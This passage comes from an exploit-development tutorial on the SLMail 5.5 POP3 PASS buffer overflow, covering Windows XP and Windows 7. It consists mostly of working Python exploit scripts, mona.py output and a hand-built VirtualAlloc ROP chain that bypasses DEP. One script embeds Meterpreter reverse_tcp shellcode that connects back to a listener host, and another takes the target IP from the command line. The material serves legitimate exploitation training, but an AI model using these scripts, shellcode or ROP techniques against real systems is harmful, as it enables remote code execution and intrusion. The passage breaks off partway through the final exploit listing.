    0x01ceab14 : Contains normal cyclic pattern at ESP+0x9c0 (+2496) : offset 4092, length 996 (-> 0x01ceaeF7 : ESP+0xda4)
    0x01cecf1c : Contains normal cyclic pattern at ESP+0x2dc8 (+11720) : offset 4092, length 996 (-> 0x01ced2ff : ESP+0x31ac)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern

Here we have a good candidate highlighted in red. On the offset 4092 we have 996 bytes, but remember EIP was at offset 4654 so if we don’t want to corrupt our exploit, only 562 bytes can be used for the shellcode; this is still much better than the previous 332 bytes.

The new approach would be to use the 430 bytes after the EIP for the rop chain and then make a jump backwards to offset 4092, where we have 562 bytes more.

We will see this later; first let’s try to port the exploit to Windows 7.

 

Windows7 exploit (Python version)

For the demo, we used 64-bit Windows7 Professional with SLMAIL 5.5 installed.

We launched the poc2.py exploit, the one with the Metasploit cyclic pattern to make the application crash.

We then used mona.py to find the pattern in memory. Here is some of the output:

================================================================================
  Output generated by mona.py v2.0, rev 557 - Immunity Debugger
  Corelan Team - https://www.corelan.be
================================================================================
  OS : 7, release 6.1.7601
  Process being debugged : SLmail (pid 3224)
  Current mona arguments: findmsf
================================================================================
  2015-06-03 13:08:07
================================================================================
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 0x73f10000 | 0x73F76000 | 0x00066000 | True   | True    | True  |  True    | True   | 7.0.7600.16385 [MSVCP60.dll] (C:\Windows\system32\MSVCP60.dll)
 […]
 0x10000000 | 0x10007000 | 0x00007000 | False  | False   | False |  False   | True   | 4.3.0.2 [Openc32.dll] (C:\Windows\system32\Openc32.dll)
 […]
 0x00400000 | 0x0045c000 | 0x0005c000 | False  | False   | False |  False   | False  | 5.1 [SLmail.exe] (C:\Program Files (x86)\SLmail\SLmail.exe)
[…]
 0x5f400000 | 0x5f4f4000 | 0x000f4000 | False  | False   | False |  False   | True   | 6.00.8063.0 [SLMFC.DLL] (C:\Windows\system32\SLMFC.DLL)
 […]
 0x5fd00000 | 0x5fd0e000 | 0x0000e000 | False  | False   | False |  False   | True   | 6.00.8168.0 [MFC42LOC.DLL] (C:\Windows\system32\MFC42LOC.DLL)
 […]
----------------------------------------------------------------------------------------------------------------------------------
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x01f100e0 (length 6000 bytes)
    EIP contains normal pattern : 0x7a46317a (offset 4654)
    ESP (0x01cea128) points at offset 4658 in normal pattern (length 430)
    EBP contains normal pattern : 0x46307a46 (offset 4650)
    EDX (0x01cea2d0) points at offset 5082 in normal pattern (length 6)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
[…]

As can be seen highlighted in red, we can extract certain information from this file.

First we need to look for a module that doesn’t have ASLR or Rebase.

ASLR is a technique that randomizes the base address where the module loads in memory on every box reboot. Rebase is a technique to avoid multiple modules to be loaded at the same address in the process’ memory space. These two techniques make memory addresses unreliable to use in exploits.

In this case, we have three modules in memory with no ASLR or Rebase we can use to find the instructions or gadgets needed for our exploit.

We can see in the file output that the offset to control EIP is the same as the one in the Windows XP exploit.

So we need a jmp esp instruction inside one of the modules mentioned before to make the former exploit work.

We can use mona.py to find this instruction:

!mona jmp -r esp -m mfc42loc.dll,slmfc.dll,Openc32.dll

As can be seen, mona.py does not find any pointer to jmp esp in any of the analyzed modules.

There could be some instructions in the DLLs that mona.py could not find, so let’s try another approach using objdump just to make sure.

The SLMFC.DLL was copied to a Linux box and then analysed:

root@kali:/#objdump -D slmfc.DLL | grep jmp | grep esp

objdump finds multiple jmp esp instructions. Just to make sure, in Immunity Debugger we tried to go to the address 0x5f4a358f and watch which instructions are there.

Just right-click in the instructions windows, and choose “Go To -> Expression” in the pop-up menu. Then put the memory address in the expression form and click “OK”.

This was the result

The instruction “jmp esp” was in the SLMFC module, which was compiled with no ASLR and no Rebase.

Once the exploit is modified with this jump instruction, the exploit should look like this:

import sys
import socket
import struct

eip_offset = 4654
edx_offset = 5082
buff_size = 6000

#0x5f4a358f : # JMP ESP  [SLMFC.DLL]
EIP=struct.pack(<I,0x5f4a358f)
move_esp = \x81\xc4\xc0\xfd\xff\xff # add esp,-240h

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.159 LPORT=6969 EXITFUNC=thread -b \x00\x0a\x0d -f c
# x86/shikata_ga_nai succeeded with size 347 (iteration=0)
shellcode = (
\xb8\x90\x7d\x06\xa3\xdd\xc5\xd9\x74\x24\xf4\x5d\x33\xc9\xb1
\x51\x31\x45\x12\x03\x45\x12\x83\x55\x79\xe4\x56\xa9\x6a\x6a
\x98\x51\x6b\x0b\x10\xb4\x5a\x0b\x46\xbd\xcd\xbb\x0c\x93\xe1
\x30\x40\x07\x71\x34\x4d\x28\x32\xf3\xab\x07\xc3\xa8\x88\x06
\x47\xb3\xdc\xe8\x76\x7c\x11\xe9\xbf\x61\xd8\xbb\x68\xed\x4f
\x2b\x1c\xbb\x53\xc0\x6e\x2d\xd4\x35\x26\x4c\xf5\xe8\x3c\x17
\xd5\x0b\x90\x23\x5c\x13\xf5\x0e\x16\xa8\xcd\xe5\xa9\x78\x1c
\x05\x05\x45\x90\xf4\x57\x82\x17\xe7\x2d\xfa\x6b\x9a\x35\x39
\x11\x40\xb3\xd9\xb1\x03\x63\x05\x43\xc7\xf2\xce\x4f\xac\x71
\x88\x53\x33\x55\xa3\x68\xb8\x58\x63\xf9\xfa\x7e\xa7\xa1\x59
\x1e\xfe\x0f\x0f\x1f\xe0\xef\xf0\x85\x6b\x1d\xe4\xb7\x36\x4a
\xc9\xf5\xc8\x8a\x45\x8d\xbb\xb8\xca\x25\x53\xf1\x83\xe3\xa4
\xf6\xb9\x54\x3a\x09\x42\xa5\x13\xce\x16\xf5\x0b\xe7\x16\x9e
\xcb\x08\xc3\x31\x9b\xa6\xbc\xf1\x4b\x07\x6d\x9a\x81\x88\x52
\xba\xaa\x42\xfb\x51\x51\x05\xc4\x0e\x18\x4a\xac\x4c\x9a\x6f
\x14\xd8\x7c\xe5\x76\x8c\xd7\x92\xef\x95\xa3\x03\xef\x03\xce
\x04\x7b\xa6\x2f\xca\x8c\xc3\x23\x3b\xb3\x2b\xbb\xbc\xa6\x2b
\xd1\xb8\x60\x7b\x4d\xc3\x55\x4b\xd2\x3c\xb0\xcf\x14\xc2\x45
\x39\x6f\xf5\xd3\xf9\x07\xfa\x33\xfa\xd7\xac\x59\xfa\xbf\x08
\x3a\xa9\xda\x56\x97\xdd\x77\xc3\x18\xb4\x24\x44\x71\x3a\x13
\xa2\xde\xc5\x76\xb0\x19\x39\x06\x74\xd8\xf9\xdf\xbc\xae\x14
\xdc\xfa\xb1\xfa\xc8\xf6\x59\xa3\x99\xba\x07\x54\x74\xf8\x31
\xd7\x7c\x81\xc5\xc7\xf5\x84\x82\x4f\xe6\xf4\x9b\x25\x08\xaa
\x9c\x6f
)
 
buffer = 'A' * eip_offset
buffer += EIP
buffer += move_esp
buffer += shellcode
buffer += 'C' * (buff_size - len(buffer))
 
HOST = '127.0.0.1'
PORT = 110
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print 'Received', repr(data)
s.send('USER username'+'\r\n')
data = s.recv(1024)
print 'Received', repr(data)
s.send('PASS ' + buffer + '\r\n')
s.close()

We then launch the exploit against the two Windows boxes to check it works on XP and on Win7.

First we configured the handler to not exit after a session is acquired, and to run it as a job:

Then the exploit was slightly modified to take the target IP from the command line. Here is what was changed:

- HOST = ‘127.0.0.1’
+ HOST = sys.argv[1]

Here are some screenshots showing what happened.

First the exploit launched against both boxes:

And here are the received Meterpreter sessions:

We have a reliable exploit for Windows XP and Windows 7 with DEP configured with the Optin (default) option.

This is because we are using an instruction from a module that installs with the SLMAIL server (SLMFC.DLL) to make the jump to the ESP register. This module should be the same in SLMAIL 5.5 across all Windows platforms.

 

Bypass DEP on Windows 7

Like in Windows XP, DEP on Windows 7 is OptIn by default. To change this setting and activate DEP for all processes, we can use a privileged command prompt to type:

bcdedit.exe /set nx AlwaysOn

After this, you need to restart the box.

To bypass DEP, we use ROP as on Windows XP.

The first step is to use mona.py to find gadgets and rop chains using modules with no ASLR and no Rebase.

!mona rop -m mfc42loc.dll,slmfc.dll,Openc32.dll -cpb '\x00\x0a\x0d'

Looking at the file rop_chains.txt we see chains to VirtualProtect and VirtualAlloc. The VirtualProtect chain is 600 bytes in length, too big for the space we have on the exploit (430 bytes). The VirtualAlloc one is smaller (96 bytes), but it is not complete because mona.py did not find a pointer to VirtualAlloc and did not find a gadget to put 0x1000 into EDX on any of the modules used to create the chains.

Here is the chain.

 

  def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x00000000,  # [-] Unable to find API pointer -> ecx
      0x5f473b6b,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [SLMFC.DLL]
      0x5f468e7b,  # PUSH EAX # PUSHAD # POP ESI # RETN [SLMFC.DLL]
      0x5f45dfd5,  # POP EAX # RETN [SLMFC.DLL]
      0x7ffbff9c,  # put delta into eax (-> put 0x00000000 into ebp)
      0x5f47fc0f,  # ADD EAX,80040064 # RETN 0x08 [SLMFC.DLL]
      0x5f48d2d5,  # XCHG EAX,EBP # RETN [SLMFC.DLL]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x5f4731a7,  # POP EAX # RETN [SLMFC.DLL]
      0xffffffff,  # Value to negate, will become 0x00000001
      0x5f465969,  # NEG EAX # RETN [SLMFC.DLL]
      0x5f4503e7,  # PUSH EAX # ADD AL,5E # POP EBX # RETN [SLMFC.DLL]
      0x00000000,  # [-] Unable to find gadget to put 00001000 into edx
      0x5f418e3c,  # POP EAX # RETN [SLMFC.DLL]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x5f465969,  # NEG EAX # RETN [SLMFC.DLL]
      0x5f4864b7,  # XCHG EAX,ECX # DEC EAX # POP EDI # RETN [SLMFC.DLL]
      0x41414141,  # Filler (compensate)
      0x5f469c12,  # POP EDI # RETN [SLMFC.DLL]
      0x5f445804,  # RETN (ROP NOP) [SLMFC.DLL]
      0x5f41909a,  # POP EAX # RETN [SLMFC.DLL]
      0x90909090,  # nop
      0x5f495b3d,  # PUSHAD # RETN [SLMFC.DLL]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

Even if mona.py could not find valid gadgets to make the chain, that doesn’t mean the chain cannot be generated. Let’s try to generate our own rop chain with VirtualAlloc to make our exploit work.

To call VirtualAlloc, we need to set up the stack as follows:

Ptr to VirtualAlloc
returnTo (address where VirtualAlloc returns)
lpAddress (address where starts the memory allocation)
dwsize (0x1)
fAllocationType (0x1000)
flProtect (0x40)

To find a pointer to VirtualAlloc we can try to find a pointer from SLMFC.DLL to another module containing a pointer to the API. To help with this, mona.py has the command ropfunc.

We use ropfunc with the non-ASLR modules and excluding the bad chars:

!mona ropfunc -m mfc42loc.dll,slmfc.dll,Openc32.dll -cpb '\x00\x0a\x0d'

The command generates the files ropfunc.txt and ropfunc_offsets.txt.  In ropfunc.txt there should be a list of pointers to interesting functions that can help bypass DEP. In ropfunc_offsets.txt there should be pointers to functions in modules which had pointers to VirtualAlloc, VirtualProtect, or other API functions to change or disable DEP.

Here is an example of ropfunc_offset.txt. There are plenty of valid pointers, so we take one with a small negative offset:

0x5f49a1cc : (SLMFC.DLL - IAT 0x5f49a1cc : kernel32.dll.kernel32!multibytetowidechar (0x750b18fe), offset to kernel32.dll.virtualalloc (0x750b1826) : -216 (-0x00000d8) |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.8063.0 (C:\Windows\system32\SLMFC.DLL)

From that line we know that in 0x5f49a1cc there is a pointer to a pointer that points to the function multibytetowidehchar in the kernel32.dll module, and that pointer is at an offset of -216 bytes from a pointer to the VirtualAlloc function in the same module.

To obtain a pointer to VirtualAlloc on ecx we can do something like this:

move      ecx,0x5f49a1cc    # put the pointer to pointer to multibytetowidechar on ecx
move      ecx,[ecx]                # get the address on memory of the pointer to multibytetowidechar
sub         ecx,0x00000d8    # add/sub the offset to get the address of the pointer to VirtualAlloc

So our goal now is to set up the stack as we saw in the previous table, with ESP pointing to the pointer to VirtualAlloc, and put a RET instruction into EIP.

First let’s set up the stack using the gadgets in rop.txt and rop_suggestions.txt.

We save ESP (stack pointer) in ECX and use it to store values on the stack:

#--- Save ESP into ECX
0x5f42F7dc,         # PUSH ESP # INC ESI # ADD DWORD PTR DS:[EAX],EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN 0x04
0x41414141,        # to pop esi
0x5f4011f2,          # RET
0x41414141,        # compensate retn 0x04

The first gadget is trying to store a value in the address EAX points to (ADD DWORD PTR DS:[EAX],EAX), so we need to make sure there is a valid pointer in EAX. We can do this by adding this gadget at the top of the chain:

# Put a valid pointer on EAX
0x5f48c086,         # MOV EAX,ECX # RETN

We get the pointer to VirtualAlloc:

# Ptr to VirtualAlloc on EAX
0x5f418fac,           # POP EAX # RETN
0x5f49a1cc,          # PTR to kernel32.dll (this address goes to EAX for the gadget before)
0x5f488461,         # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
0x5f4011f2,          # RET (This is a ROP NOP, just goes to the next value on the stack)
0x41414141,        # Compensate for the Retn 0x04
0x5f445803,         # POP EDI # RETN
0xffffff28,              # Offset to VirtualAlloc -0xd8 (we use a negative offset to avoid null bytes)
0x5f46e759,         # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (We have the pointer on EAX)
0x41414141,        # Filler to POP EDI
# Save the pointer to VirtualAlloc
0x5f440377,         # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2,          # RET
0x41414141,        # Compensate for the Retn 0x08
0x41414141,        # Compensate for the Retn 0x08

At the address pointed to by ECX we have a pointer to VirtualAlloc; now we need to put the return address in place. This address is where VirtualAlloc will return, and will usually be behind the rop chain. As we don’t know yet how many bytes in length the rop chain is, this value will be fixed later. At the moment, let’s just give 320 bytes (0x140) for the chain.

# returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
0x5f418fac,           # POP EAX # RETN
0xFFFFFEC0,        # Value to EAX (-0x140, we use a negative value to avoid null bytes)
0x5f465969,         # NEG EAX # RETN
0x5f425151,         # PUSH ECX # INC EDX # POP EDI # RETN (move ecx -> edi)
0x5f46e759,         # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (On EAX we have the address)
0x41414141,        # Filler to POP EDI
0x5f4298a4,         # INC ECX # RETN (we need to add 4 to ECX to store the value on stack)
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
# Save returnTo
0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2,          # RET
0x41414141,        # Compensate for the Retn 0x08
0x41414141,        # Compensate for the Retn 0x08

Next, the address where the allocation of memory starts. In exploits with enough space behind the rop chain the same value as returnTo can be used, but in this case we need to find another place to fit the shellcode.

From finsmsp.txt, we know that we can put the shellcode before the value that overwrites the saved EIP:

# findmsp.txt
0x01ce8fb8 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 4092, length 996 (-> 0x01ce939b : ESP-0xd8c)

So at offset 4092 we have 562 bytes to use before overwriting the saved EIP (offset 4654). What we are going to try is to put the shellcode before EIP, then the rop chain after, and just behind the rop chain a jump backwards to the shellcode. So for lpAddress we need to calculate the bytes to remove from the stack to set it at the address where the jump will land. At first, let’s remove 400bytes (0x190) and later we will adjust the value.

# lpAddress (Address where start the execute flag)
0x5f418fac,           # POP EAX # RETN
0xFFFFFE70,        # Value to EAX (-0x190)
0x5f425151,         # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759,         # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141,        # Filler to POP EDI
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4,         # INC ECX # RETN
0x41414141,        # Compensate for the Retn 0x08
0x41414141,        # Compensate for the Retn 0x08

The next value is dwSize, the size of the memory where we want to disable DEP. Here we know that the allocated space will start 400 bytes away (0x190), so we need a value which when added to lpAddress reaches the memory where the jump backwards instruction would be. For this value we are going to use 0x1FF:

# dwSize (0x1FF)
0x5f418fac,           # POP EAX # RETN
0xFFFFFE01,        # Value to EAX (-0x1FF)
0x5f465969,         # NEG EAX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f440377,         # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4,         # INC ECX # RETN
0x41414141,        # Compensate for the Retn 0x08
0x41414141,        # Compensate for the Retn 0x08

Next we put flAllocationType at 0x1000 (MEM_COMMIT):

# flAllocationType (0x1000)
0x5f418fac,           # POP EAX # RETN
0xFFFFF001,        # -0xFFF  (-0x1000 contains null bytes)
0x5f465969,         # NEG EAX # RETN
0x5f4235b6,         # INC EAX # RETN (0xFFF + 1 = 0x1000)
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4,         # INC ECX # RETN
0x41414141,        # Compensate for the Retn 0x08
0x41414141,        # Compensate for the Retn 0x08

For the flProtect field we use 0x40 (PAGE_EXECUTE_READWRITE):

# flProtect (0x40)
0x5f418fac,           # POP EAX # RETN
0xFFFFFFC0,        # -0x40 
0x5f465969,         # NEG EAX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f4298a4,         # INC ECX # RETN
0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2,          # RET
0x41414141,        # Compensate for the Retn 0x08
0x41414141,        # Compensate for the Retn 0x08

Once the stack is set up, we need to make sure ESP is pointing to the VirtualAlloc pointer we put in the stack (the pointer is at ECX – 20bytes (0x14)):

# Make ESP point to VirtualAlloc pointer on stack and RET
0x5f418fac,           # POP EAX # RETN
0xFFFFFFEC,        # -0x14 (value to substract to ECX)
0x5f425151,         # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
0x5f46e759,         # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (On eax is the pointer to VirtualAlloc)
0x41414141,        # Filler to POP EDI
0x5f452c0f,          # XCHG EAX,ESP # RETN (put the pointer on ESP)

The RETN instruction in the last gadget of the chain will launch the VirtualAlloc function, which will land after its execution somewhere on the buffer behind the chain (if we add enough space when calculating the return address)

Let’s put all this together to see if it’s working. Here is the first version of the current exploit:

import sys
import socket
import struct

def create_rop_chain():
                rop_gadgets = [
                  # Put a valid pointer on EAX
                  0x5f48c086,       # MOV EAX,ECX # RETN
                  #--- Save ESP into ECX
                  0x5f42F7dc,       # PUSH ESP # INC ESI # ADD DWORD PTR DS:[EAX],EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN 0x04
                  0x41414141,      # to pop esi
                  0x5f4011f2,        # RET
                  0x41414141,      # compensate retn 0x04
                  # Ptr to VirtualAlloc on EAX
                  0x5f418fac,         # POP EAX # RETN
                  0x5f49a1cc,        # PTR to kernel32.dll
                  0x5f488461,       # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
                  0x5f4011f2,        # RET
                  0x41414141,      # Compensate for the Retn 0x04
                  0x5f445803,       # POP EDI # RETN
                  0xffffff28,            # Offset to VirtualAlloc -0xd8
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
                  0x41414141,      # Filler to POP EDI
                  # Save the pointer to VirtualAlloc
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4011f2,        # RET
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFEC0,      # Value to EAX (-0x140)
                  0x5f465969,       # NEG EAX # RETN
                  0x5f425151,       # PUSH ECX # INC EDX # POP EDI # RETN
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
                  0x41414141,      # Filler to POP EDI
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  # Save returnTo
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4011f2,        # RET
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # lpAddress (Address where start the execute flag)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFE70,      # Value to EAX (-400 bytes (0x190))
                  0x5f425151,       # PUSH ECX # INC EDX # POP EDI # RETN
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
                  0x41414141,      # Filler to POP EDI
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4298a4,       # INC ECX # RETN
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # dwSize (0x1FF)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFE01,      # Value to EAX (-0x1FF)
                  0x5f465969,       # NEG EAX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4298a4,       # INC ECX # RETN
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # flAllocationType (0x1000)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFF001,      # -0xFFF  (-0x1000 contains null bytes)
                  0x5f465969,       # NEG EAX # RETN
                  0x5f4235b6,       # INC EAX # RETN (0xFFF + 1 = 0x1000)
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4298a4,       # INC ECX # RETN
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # flProtect (0x40)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFFC0,      # -0x40 
                  0x5f465969,       # NEG EAX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4011f2,        # RET
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08
                  # Make ESP point to VirtualAlloc pointer on stack and RET
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFFEC,      # -0x14 (value to substract to ECX)
                  0x5f425151,       # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (eax -> ptr VirtualAlloc)
                  0x41414141,      # Filler to POP EDI
                  0x5f452c0f,        # XCHG EAX,ESP # RETN
                ]
                return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

 
#0x5f4011f2 : # RET                          [SLMFC.DLL]
EIP=struct.pack(<I,0x5f4011f2)
move_esp = \x81\xc4\xc0\xfb\xff\xff # add esp,-440h

shellcode = \xcc\xcc\xcc\xcc
nop_chain = \x90 * 20

eip_offset = 4654
shellcode_offset = 4092
shellcode_size = 562
buff_size = 6000

rop_chain = create_rop_chain()

buffer = 'A' * shellcode_offset
buffer += 'B' * (eip_offset - len(buffer)) # Here is where the real shellcode goes
buffer += EIP
buffer += rop_chain
buffer += nop_chain
buffer += shellcode
buffer += 'C' * (buff_size - len(buffer))

print rop_chain length: +str(len(rop_chain))

HOST = '127.0.0.1'
PORT = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print 'Received', repr(data)
s.send('USER username'+'\r\n')
data = s.recv(1024)
print 'Received', repr(data)
s.send('PASS ' + buffer + '\r\n')
s.close()

In this version we use a chain of NOP instructions behind the rop chain because we don’t know the exact address to which VirtualAlloc is going to return. After the NOPs, we put just INT 3 instructions as shellcode, to create a breakpoint where the debugger will stop.

If the rop chain works as expected, then the NOP instructions will execute as well as the breakpoint. If not, the NOP instruction would generate an access violation error.

Attach the SLMAIL process to Immunity Debugger (started as administrator) and put a breakpoint on the last gadget of the rop chain:

B 0x5f452c0f

Then run the exploit, and if all goes well, the breakpoint should be reached:

Once the breakpoint is reached, we go step-by-step, pressing F7 in Immunity Debugger until the call to VirtualAlloc (16 steps):

Here is the stack at this point of execution:

Now we pass the VirtualAlloc function, pressing f8 to avoid going through the function step by step. Then we press F7 two more times and we should reach the NOPs we put before the shellcode:

As we can see, we reach the first NOP instruction (that was lucky…). Now to know if DEP is disabled just press F7 again. If all works well, the NOP instruction executes, and if not we will receive an access violation error.

Now that we know we can execute code on the stack, let’s try to find the place where the shellcode is, to calculate the distance of the backwards jump we need to make.

To achieve this, on Immunity we just double-click the memory address of the NOP to which VirtualAlloc returned. The view changes, and instead of memory addresses we start seeing offsets from the address we selected with the double click.

Now we just need to go backwards in the CPU window to find the “B”s (0x42) we put in the shellcode space, and look at the offset Immunity gives for the first “B”.

We need to jump backwards 0x37D bytes (893 bytes).

To make that jump, we return to the metasm_shell.rb script in the Metasploit framework:

We are going to add that jump just behind the rop chain (where VirtualAlloc returns) and put some NOPs and a breakpoint in the shellcode, to make sure we can execute code in that piece of stack. On the first run of the exploit, we need to look at the value of the lpAddress parameter, and then look at the address the jump goes to. Then we need to calculate the offset and fix the rop chain to make sure lpAddress is the same address where the jump lands, or at least an address before the jump address.

Here is the piece of code we modify from the previous exploit:

#0x5f4011f2 : # RET                          [SLMFC.DLL]
EIP=struct.pack(<I,0x5f4011f2)
move_esp = \x81\xc4\xc0\xfb\xff\xff # add esp,-440h
jmp_back = \xe9\x7e\xfc\xff\xff # jmp $-37Dh

shellcode = \xcc\xcc\xcc\xcc
nop_chain = \x90 * 20

eip_offset = 4654
shellcode_offset = 4092
shellcode_size = 562
buff_size = 6000

rop_chain = create_rop_chain()

buffer = 'A' * shellcode_offset
buffer += nop_chain
buffer += shellcode
buffer += 'B' * (eip_offset - len(buffer)) # Here is where the real shellcode goes
buffer += EIP
buffer += rop_chain
buffer += jmp_back
buffer += 'C' * (buff_size - len(buffer))

Once again, execute the exploit with a breakpoint on the last gadget of the rop chain and step forward to the VirtualAlloc call (16 steps with F7):

Looking at the stack, we can see the lpAddress in this execution (yours may differ because of the ASLR) is 0x01C79FA4.

Pass the VirtualAlloc with F8 and two more steps with F7 to gain the jump instruction:

Here we see the jump will land at 0x01C79EF3, an address that is before the address we use in lpAddress. This means if we try to exec a NOP here, in some cases there should be an access violation error. To make sure the exploit works we need to get the offset between 0x01C79FA4 and 0x01C79EF3 (0x01C79FA4  – 0x01C79EF3 = 0xB1) and fix the rop chain. We were adding -0x190, so now we need to change it to 0x241 (0x190 + 0xB1 = 0x241). The twos complement of 0x241 is 0xFFFFFDBF.

Here is the section of the chain we need to modify:

                  # lpAddress (Address where start the DEP disabled)
                  0x5f418fac,         # POP EAX # RETN
                  0xFFFFFDBF,     # Value to EAX (-577 bytes (0x241))
                  0x5f425151,       # PUSH ECX # INC EDX # POP EDI # RETN
                  0x5f46e759,       # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
                  0x41414141,      # Filler to POP EDI
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f4298a4,       # INC ECX # RETN
                  0x5f440377,   # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
                  0x5f4298a4,       # INC ECX # RETN
                  0x41414141,      # Compensate for the Retn 0x08
                  0x41414141,      # Compensate for the Retn 0x08

Try the same with this exploit and compare the lpAddress value and the jump one:

As we can see, now the address is the same, and following the jump we get the second NOP of the chain we put in front of the shellcode:

We need to fix the lpAddress value and the jump code to jump one more byte to 0x02909EF2 (the first two bytes of the address could be different because of ASLR).

#lpAddress
0xFFFFFDbe,        # Value to EAX (-578 bytes (0x242))
# Jump backwards opcodes
jmp_back = \xe9\x7d\xfc\xff\xff # jmp $-37E

Now we just need to replace the shellcode witha reverse_tcp one from the Metasploit Framework, removing all the NOPs, because now we are landing on the first one and ensuring we have 562 bytes for a shellcode.

As we saw in the exploits before, remember to add the code to move away from ESP before executing the shellcode. This code length is six bytes, so we need 556 bytes for the final shellcode.

Final exploit:

import sys
import socket
import struct

def create_rop_chain():
                rop_gadgets = [
                  # Put a valid pointer on EAX
                  0x5f48c086,       # MOV EAX,ECX # RETN
                  #--- Save ESP into ECX
